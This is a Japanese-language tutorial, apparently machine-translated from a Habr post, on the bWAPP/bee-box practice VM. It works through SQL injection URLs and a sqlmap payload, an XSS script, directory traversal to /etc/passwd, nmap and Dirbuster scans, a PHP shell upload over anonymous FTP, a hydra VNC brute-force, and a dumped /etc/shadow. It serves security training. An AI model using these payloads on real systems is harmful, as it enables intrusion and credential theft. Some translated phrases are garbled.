例としてbWAPPを使用したOWASP Top-10 Web脆弱性テストプラットフォームの概要

こんにちは、Habr!

この記事では、OWASP Top-10の分類によると、bWAPPの例を使用したWebアプリケーションの脆弱性(読者だけでなく)を理解することをお勧めします。

画像



簡単な教育プログラム:

Open Web Application Security Project(OWASP)は、オープンソースのWebアプリケーションセキュリティプロジェクトです。 OWASPコミュニティには、世界中の企業、教育機関、個人が含まれます。 コミュニティは、自由にアクセスできる記事、マニュアル、ドキュメント、ツール、テクノロジーの作成に取り組んでいます。 10年間、プロジェクト参加者は、すべてのWeb開発者の注意を引き付けようとして、Webアプリケーションの最も危険な上位10の脆弱性のリストを作成してきました。

トップ10自体は次のようになります




A1コードインジェクション
A2不正な認証とセッション管理
A3クロスサイトスクリプティング(XSS)
A4安全でない直接オブジェクト参照
A5安全でない構成
A6機密データの漏洩
A7機能レベルへのアクセス制御の欠如
A8クロスサイトリクエストフォージェリ(CSRF)
A9既知の脆弱性を持つコンポーネントの使用
A10資格のないリダイレクト

評価は、有病率だけでなく、脅威の危険性も反映しています。

バギーWebアプリケーション(bWAPP)は、オープンソースの無料ダウンロードWebアプリケーションです。 OWASPのトップ10に従って分類された約100の脆弱性を含むという点で、他の製品と区別されます。 Webアプリケーションの脆弱性だけでなく、検索および悪用するように設計されています。
投稿者bWAPP-Malik Mesellem( 彼のブログ

画像

これは、MYSQLを使用したPHPアプリケーションです。 Windows / Linux、WAMPおよびXAMPPに展開できます。 また、記事で使用される完全に準備された蜂箱仮想マシンもあります。

bWAPPで遭遇する脆弱性のリスト:
  • SQL、HTML、iFrame、SSI、OSコマンド、XML、XPath、LDAPおよびSMTPインジェクション
  • ブラインドSQLおよびブラインドOSコマンドインジェクション
  • Bash Shellshock(CGI)およびHeartbleedの脆弱性(OpenSSL)
  • クロスサイトスクリプティング(XSS)およびクロスサイトトレース(XST)
  • クロスサイトリクエストフォージェリ(CSRF)
  • AJAXおよびWebサービスの脆弱性(JSON / XML / SOAP / WSDL)
  • 悪意のある無制限のファイルのアップロードとバックドアファイル
  • 認証、許可、およびセッション管理の問題
  • 任意のファイルアクセスとディレクトリトラバーサル
  • ローカルおよびリモートのファイルの包含(LFI / RFI)
  • 構成の問題:Man-in-the-Middle、クロスドメインポリシーファイル、情報開示、...
  • HTTPパラメーターの汚染とHTTP応答の分割
  • サービス拒否(DoS)攻撃:HTTPおよびXMLエンティティの拡張が遅い
  • 安全でないdistcc、FTP、NTP、Samba、SNMP、VNC、WebDAV構成
  • HTML5 ClickJacking、クロスオリジンリソースシェアリング(CORS)およびWebストレージの問題
  • 未検証のリダイレクトと転送、およびCookieポイズニング
  • Cookieポイズニングと安全でない暗号化ストレージ
  • サーバー側リクエスト偽造(SSRF)
  • XML外部エンティティ攻撃(XXE)



記事であなたを待っているもの


記事の対象者


要件


記事の目的


警告!

記事に含まれないもの
1.何かの照明設定エラー-バグの性質の説明はありません。
2.ペンテストに役立つプログラムを確認します。

考慮される脆弱性は、記事の説明/場所を簡単にするために特に選択されています
サポート記事/ソフトウェア/への参照は、記事の最後に記載されています。

SQLインジェクション


SQLインジェクションを選択(GET /検索)

映画を選択するためのページが開きます。 さて、幸福を試してみましょう-ハルクを紹介します。



引用を置き換えると、エラーが発生します。
http://192.168.1.18/bWAPP/sqli_1.php?title=hulk&action=search 

テクニックによる順序を使用し、列の数を選択します。
 http://192.168.1.18/bWAPP/sqli_1.php?title=hulk%27%20order%20by%2010%20--%20&action=search 

7に等しい:
 http://192.168.1.18/bWAPP/sqli_1.php?title=hulk%27%20order%20by%207%20--%20&action=search 

次に、ユニオンを使用します。
 http://192.168.1.18/bWAPP/sqli_1.php?title=hulk%27%20union%20select%201,2,3,4,5,6,7%20from%20users%20--%20&action=search 

列番号を取得します。


データベースの名前、ユーザー、パスワードハッシュを取得します。
 http://192.168.1.18/bWAPP/sqli_1.php?title=hulk%27%20union%20select%201,database%28%29,user%28%29,4,password,6,7%20from%20users%20--%20&action=search 



SQLインジェクション(POST /検索)

/bWAPP/sqli_6.phpを開き、Hulkと入力します。バグはありますが、アドレスバーは役に立ちませんか? BurpsuiteとSqlmapが役立ちます:
burpsuiteで、リクエストを開きます。


エラーが発生しました。見積を削除し、「リクエスト」フィールドを.txtファイルに保存してください。
sqlmapを開き、コマンドを実行します。
 sqlmap -r sql.txt 



たとえば、プログラムが提供するものを次のように置き換えることで、sqlmapを確認できます。
 Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: title=hulk%' AND (SELECT 2135 FROM(SELECT COUNT(*),CONCAT(0x7178766a71,(SELECT (CASE WHEN (2135=2135) THEN 1 ELSE 0 END)),0x7162767071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='&action=search 

アドレスバーのペイロードを置き換えるだけです:
 http://192.168.1.18/bWAPP/sqli_1.php?title=hulk%' AND (SELECT 2135 FROM(SELECT COUNT(*),CONCAT(0x7178766a71,(SELECT (CASE WHEN (2135=2135) THEN 1 ELSE 0 END)),0x7162767071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='&action=search 

これにより、トークンが取得されます。これは、タスクが完了したことを意味します。



または、XSSに興味がありますか?


すべての味のためにそれらがたくさんあります。

XSSを選択-反映(GET)

代用
 <script>alert(1);</script> 





他の人のファイルを読むだけですか?



オープンディレクトリトラバーサル-ファイル
 http://192.168.1.18/bWAPP/directory_traversal_1.php?page=message.txt 


/ etc / passwdに置き換えてみましょう:


オープンディレクトリトラバーサル-ディレクトリ
 http://192.168.1.18/bWAPP/directory_traversal_2.php?directory=documents 


リストを読む/ etc /:


ブラックボックステスト


pentestのboot2rootイメージのファンとして(bWAPPに行ったのとまったく同じ方法です)、Webなしでテストすることを、少し説明しながらお見せしたいと思います。

nmapでターゲットをスキャンします。

 Nmap scan report for bee-box (192.168.1.18) Host is up (0.0050s latency). Not shown: 983 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 25/tcp open smtp 80/tcp open http 139/tcp open netbios-ssn 443/tcp open https 445/tcp open microsoft-ds 512/tcp open exec 513/tcp open login 514/tcp open shell 666/tcp open doom 3306/tcp open mysql 5901/tcp open vnc-1 6001/tcp open X11:1 8080/tcp open http-proxy 8443/tcp open https-alt 9080/tcp open glrpc 


Niktoスキャナーの結果はありません(自分でスキャンすることをお勧めします )。この記事の範囲により、FTPおよびVNCサービスの解析に制限されます。

FTP

Dirbusterを使用します。

 Dir found: /phpmyadmin/ - 200 Dir found: /evil/ - 200 Dir found: /webdav/ - 200 File found: /webdav/Iron_Man.pdf - 200 File found: /webdav/Terminator_Salvation.pdf - 200 File found: /webdav/The_Amazing_Spider-Man.pdf - 200 File found: /webdav/The_Cabin_in_the_Woods.pdf - 200 File found: /webdav/The_Dark_Knight_Rises.pdf - 200 File found: /webdav/The_Incredible_Hulk.pdf - 200 File found: /webdav/bWAPP_intro.pdf - 200 


その間
 nmap --script=ftp* 

報告する:

 PORT STATE SERVICE VERSION 21/tcp open ftp ProFTPD 1.3.1 | ftp-anon: Anonymous FTP login allowed (FTP code 230) | -rw-rw-r-- 1 root www-data 543803 Nov 2 22:52 Iron_Man.pdf | -rw-rw-r-- 1 root www-data 462949 Nov 2 22:52 Terminator_Salvation.pdf | -rw-rw-r-- 1 root www-data 544600 Nov 2 22:52 The_Amazing_Spider-Man.pdf | -rw-rw-r-- 1 root www-data 526187 Nov 2 22:52 The_Cabin_in_the_Woods.pdf | -rw-rw-r-- 1 root www-data 756522 Nov 2 22:52 The_Dark_Knight_Rises.pdf | -rw-rw-r-- 1 root www-data 618117 Nov 2 22:52 The_Incredible_Hulk.pdf |_-rw-rw-r-- 1 root www-data 5010042 Nov 2 22:52 bWAPP_intro.pdf 


これら2つの結果を分析すると、ftpフォルダー(別名/ webdav / )はhttp経由でアクセスできることがわかります。
そのため、PHPシェルをアップロードします。



匿名アクセス、アップロード、http経由のftp、さらに何が必要ですか? :)



私たちのシェル。

Vnc


192.168.1.18:5901に接続しようとしています



では、ヒドラを使用しましょう。

 hydra -P /wordlist/pass.txt -s 5901 192.168.1.18 vnc 




接続してください... tadam! 予想外ですが、これらはルート権限です。
ルートになったら、 / etc / shadowを見てください

 root:$1$6.aigTP1$FC1TuoITEYSQwRV0hi6gj/:15792:0:99999:7::: bee:$1$tJB0ndAJ$0d42BkRQ7vebj/bE5RdQH1:15792:0:99999:7::: neo:$1$fSorv0ad$56lfF9qd8o4caaSB6dVqi/:15897:0:99999:7::: alice:$1$yRUOVrYB$9f4TMaym/xOSeGbmsgFGI/:15897:0:99999:7::: thor:$1$Iy6Mvuaz$FzcNXTQ668kDD5LY.ObdL/:15897:0:99999:7::: wolverine:$1$PUGlrXi8$oXOwDBaAzxtgXh10Xkw9i/:15897:0:99999:7::: johnny:$1$uqzKnduQ$MPxhWXcf2FFQarhO95d5y/:15897:0:99999:7::: selene:$1$BHZLob3h$mru35IhZzRdnfTHOADrkJ0:15897:0:99999:7::: 


hashcatを使用してパスワードを選択します。


ここにそのようなキャッチがあります。

おわりに


Bee-boxは、 boot2rootイメージでの通常の書き込みを少し超えています。 その中で、誰もが長い間試して、学び、見つけたいと思っていたものを見つけることができます。
記事は混oticとしたものでしたが、私の意見では、読者にテストプラットフォームを紹介することが目的だったため、私は仕事を果たしました。


参照資料


投稿者bWAPP-Malik Mesellem( 彼のブログ
トップ10 OWASP自体
BeLoveの豊富な特集記事
同じくBeLoveからのPentest ユーティリティの2番目の選択
作成g0tmi1k- boot2rootイメージが収集されるサイト

アーカイブ内の仮想マシンへのリンク5 GB

ご清聴ありがとうございました。 ご質問にお答えします。

Source: https://habr.com/ru/post/J250551/


All Articles